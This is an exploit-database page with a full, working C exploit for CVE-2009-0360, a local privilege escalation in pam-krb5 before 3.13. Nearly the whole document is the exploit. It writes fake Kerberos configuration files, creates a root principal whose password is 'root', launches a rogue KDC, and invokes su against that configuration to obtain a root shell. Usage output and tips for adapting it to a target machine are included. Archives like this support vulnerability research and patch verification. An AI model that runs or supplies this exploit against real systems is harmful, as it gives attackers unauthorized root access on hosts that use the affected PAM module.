Lucene search

K
seebugRootSSV:66399
HistoryJul 01, 2014 - 12:00 a.m.

pam-krb5 < 3.13 Local Privilege Escalation Exploit

2014-07-0100:00:00
Root
www.seebug.org
47

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /*
 * cve-2009-0360.c
 *
 * pam-krb5 &#60; 3.13 local privilege escalation
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0360
 *
 *   pam-krb5 before 3.13, when linked against MIT Kerberos, does not properly 
 *   initialize the Kerberos libraries for setuid use, which allows local 
 *   users to gain privileges by pointing an environment variable to a 
 *   modified Kerberos configuration file, and then launching a PAM-based 
 *   setuid application. 
 *   
 * Usage:
 *
 *   $ gcc cve-2009-0360.c -o cve-2009-0360
 *   $ ./cve-2009-0360
 *   [+] creating krb5.conf
 *   [+] creating kdc.conf
 *   [+] creating kerberos database
 *   Loading random data
 *   Initializing database &#39;/tmp/cve-2009-0360/principal&#39; for realm &#39;TEST.COM&#39;,
 *   master key name &#39;K/[email protected]&#39;
 *   [+] adding principal [email protected]
 *   Authenticating as principal [email protected] with password.
 *   Enter KDC database master key: 
 *   WARNING: no policy specified for [email protected]; defaulting to no policy
 *   Principal &#34;[email protected]&#34; created.
 *   [+] launching krb5kdc on 141.212.110.163:6666
 *   [+] launching su with fake KDC configuration
 *   [+] enter &#34;root&#34; at the password prompt
 *   Password: 
 *   # id
 *   uid=0(root) gid=0(root) ...
 *
 * Notes:
 *
 *   This exploit will result in local privilege escalation on hosts that use 
 *   the pam-krb5 module for su authentication.  Check the su and system-auth
 *   PAM configuration files in /etc/pam.d to determine if pam-krb5 is in use.
 *   Some customization of the defined constants and paths may be necessary 
 *   for your environment.  Be sure to set FAKE_KDC_HOST to the IP address of
 *   an active non-loopback interface on the target machine.
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;errno.h&#62;
#include &#60;unistd.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/wait.h&#62;

#define REALM &#34;TEST.COM&#34;
#define FAKE_KDC_HOST &#34;141.212.110.163&#34;
#define FAKE_KDC_PORT &#34;6666&#34;
#define PRINCIPAL_NAME &#34;root&#34;
#define PRINCIPAL_PASS &#34;root&#34;
#define TMP_DIR &#34;/tmp/cve-2009-0360&#34;
#define KUTIL_PATH &#34;/usr/sbin/kdb5_util&#34;
#define KADMIN_PATH &#34;/usr/sbin/kadmin.local&#34;
#define KRB5KDC_PATH &#34;/usr/sbin/krb5kdc&#34;

#define KRB5_CONF \
  &#34;[libdefaults]\n\tdefault_realm = &#34; REALM &#34;\n\n[realms]\n\t&#34; REALM \
  &#34; = {\n\t\tadmin_server = &#34; FAKE_KDC_HOST &#34;:&#34; FAKE_KDC_PORT &#34;\n\t\t&#34; \
  &#34;default_domain = &#34; REALM &#34;\n\t\tkdc = &#34; FAKE_KDC_HOST &#34;:&#34; FAKE_KDC_PORT \
  &#34;\n\t}\n\n[domain_realm]\n\t.&#34; REALM &#34; = &#34; REALM &#34;\n\t&#34; REALM &#34; = &#34; REALM

#define KDC_CONF \
  &#34;[kdcdefaults]\n\tkdc_ports = &#34; FAKE_KDC_PORT &#34;\n\n[realms]\n\t&#34; REALM \
  &#34; = {\n\t\tdatabase_name = &#34; TMP_DIR &#34;/principal\n\t\tadmin_keytab = &#34; \
  &#34;FILE:&#34; TMP_DIR &#34;/kadm5.keytab\n\t\tacl_file = &#34; TMP_DIR &#34;/kadm5.acl&#34; \
  &#34;\n\t\tkey_stash_file = &#34; TMP_DIR &#34;/stash\n\t\tkdc_ports = &#34; FAKE_KDC_PORT \
  &#34;\n\t\tmax_life = 10h 0m 0s\n\t\tmax_renewable_life = 7d 0h 0m 0s\n\t}&#34;

int
main(void)
{
    int ret;
    FILE *fp;
    char *err;

    ret = mkdir(TMP_DIR, 0755);
    if (ret == -1 && errno != EEXIST) {
        err = &#34;cannot create TMP_DIR&#34;;
        printf(&#34;[-] Error: %s (%s)\n&#34;, err, strerror(errno));
        return 1;
    }

    printf(&#34;[+] creating krb5.conf\n&#34;);
    sleep(1);

    fp = fopen(TMP_DIR &#34;/krb5.conf&#34;, &#34;w&#34;);
    if (!fp) {
        err = &#34;cannot open krb5.conf&#34;;
        printf(&#34;[-] Error: %s (%s)\n&#34;, err, strerror(errno));
        return 1;
    }
    fwrite(KRB5_CONF, 1, strlen(KRB5_CONF), fp);
    fclose(fp);

    printf(&#34;[+] creating kdc.conf\n&#34;);
    sleep(1);

    fp = fopen(TMP_DIR &#34;/kdc.conf&#34;, &#34;w&#34;);
    if (!fp) {
        err = &#34;cannot open kdc.conf&#34;;
        printf(&#34;[-] Error: %s (%s)\n&#34;, err, strerror(errno));
        return 1;
    }
    fwrite(KDC_CONF, 1, strlen(KDC_CONF), fp);
    fclose(fp);

    chdir(TMP_DIR);

    printf(&#34;[+] creating kerberos database\n&#34;);
    sleep(1);

    ret = system(KUTIL_PATH &#34; create -d &#34; TMP_DIR &#34;/principal -sf &#34; TMP_DIR \
                 &#34;/stash -r &#34; REALM &#34; -s -P \&#34;\&#34;&#34;);
    if (WEXITSTATUS(ret) != 0) {
        err = &#34;kdb5_util command returned non-zero&#34;;
        printf(&#34;[-] Error: %s, continuing exploit anyway\n&#34;, err);
    }

    printf(&#34;[+] adding principal &#34; PRINCIPAL_NAME &#34;@&#34; REALM &#34;\n&#34;);
    sleep(1);

    ret = system(&#34;echo \&#34;\&#34; | &#34; KADMIN_PATH &#34; -m -p &#34; PRINCIPAL_NAME &#34;@&#34; REALM \
                 &#34; -d &#34; TMP_DIR &#34;/principal -r &#34; REALM &#34; -q \&#34;add_principal &#34; \
                 &#34;-pw &#34; PRINCIPAL_PASS &#34; &#34; PRINCIPAL_NAME &#34;@&#34; REALM &#34;\&#34;&#34;);
    if (WEXITSTATUS(ret) != 0) {
        err = &#34;kadmin.local command returned non-zero&#34;;
        printf(&#34;[-] Error: %s, continuing exploit anyway\n&#34;, err);
    }

    printf(&#34;[+] launching krb5kdc on &#34; FAKE_KDC_HOST &#34;:&#34; FAKE_KDC_PORT &#34;\n&#34;);
    sleep(1);

    ret = system(&#34;KRB5_KDC_PROFILE=\&#34;&#34; TMP_DIR &#34;/kdc.conf\&#34; &#34; KRB5KDC_PATH \
                 &#34; -d &#34; TMP_DIR &#34;/principal -r &#34; REALM);
    if (WEXITSTATUS(ret) != 0) {
        err = &#34;krb5kdc command returned non-zero&#34;;
        printf(&#34;[-] Error: %s, continuing exploit anyway\n&#34;, err);
    }

    printf(&#34;[+] launching su with fake KDC configuration\n&#34;);
    sleep(1);
    printf(&#34;[+] enter \&#34;&#34; PRINCIPAL_PASS &#34;\&#34; at the password prompt\n&#34;);
    sleep(1);

    system(&#34;KRB5_CONFIG=\&#34;&#34; TMP_DIR &#34;/krb5.conf\&#34; su&#34;);

    return 0;
}

// milw0rm.com [2009-03-29]